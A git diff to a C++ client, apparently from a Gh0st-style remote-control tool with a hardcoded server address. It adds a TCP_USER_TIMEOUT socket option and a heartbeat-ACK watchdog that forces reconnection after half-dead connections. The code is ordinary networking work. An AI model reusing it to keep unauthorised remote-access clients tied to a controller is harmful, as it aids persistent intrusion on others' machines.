diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 4078e80..60468fa 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -86,6 +86,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) } #endif + // TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间,内核直接把 + // socket 标记为 ETIMEDOUT,下一次 send/recv 立即报错。 + // + // 为什么 SO_KEEPALIVE 不够:keep-alive 只在连接完全 idle 时才探测,应用层每 + // 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT + // 表项老化等场景下,对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即 + // 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接",应用层完全无感, + // 默认要等 tcp_retries2 跑完(~15分钟)才报错。 + // + // 选 30s:>= 默认心跳间隔(5-30s),< 服务端 CheckHeartbeat 超时(>=60s)。 + // Linux 2.6.37+ 支持;macOS / 老内核 无此宏,自动跳过——那条路径上靠应用层 + // ACK 看门狗(linux/main.cpp 心跳循环)兜底。 +#ifdef TCP_USER_TIMEOUT + unsigned int userTimeoutMs = 30000; + if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT, + &userTimeoutMs, sizeof(userTimeoutMs)) < 0) { + Mprintf("Failed to set TCP_USER_TIMEOUT\n"); + // 非致命:keep-alive 已设上,应用层还有 ACK 看门狗兜底,继续即可 + } +#endif + Mprintf("TCP keep-alive settings applied successfully\n"); return TRUE; } diff --git a/linux/main.cpp b/linux/main.cpp index b8a4ef4..1b0c87e 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -47,6 +47,13 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L State g_bExit = S_CLIENT_NORMAL; static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 +// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。 +// 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF +// 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic: +// VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK", +// 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。 +static std::atomic g_lastHeartbeatAckMs(0); + // 客户端 ID(V2 文件传输需要) uint64_t g_myClientID = 0; @@ -390,6 +397,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); + g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗 double rtt_ms = (double)(now - ack->Time); g_rttEstimator.update_from_sample(rtt_ms); // 心跳节奏太密日志会刷屏;最多 60s 一行 @@ -966,6 +974,9 @@ int main(int argc, char* argv[]) ClientAuth::OnNewConnection(); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); + // 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时 + g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed); + // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { // 检查是否需要重发登录信息(分组变更后) @@ -1000,6 +1011,28 @@ int main(int argc, char* argv[]) break; } + // 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就 + // 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区—— + // VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在, + // 但本端 send() 仍把字节塞进 SNDBUF,IsConnected() 一直为真。 + // 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3)) + // 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。 + // 这一层不依赖 TCP_USER_TIMEOUT,跨平台必备。 + { + int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60; + const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL; + uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed); + uint64_t nowMs = GetUnixMs(); + if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) { + Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK " + "(threshold=%llu ms), reconnecting\n", + (unsigned long long)(nowMs - lastAck), + (unsigned long long)ackTimeoutMs); + ClientObject->Disconnect(); + break; + } + } + // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的 // CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容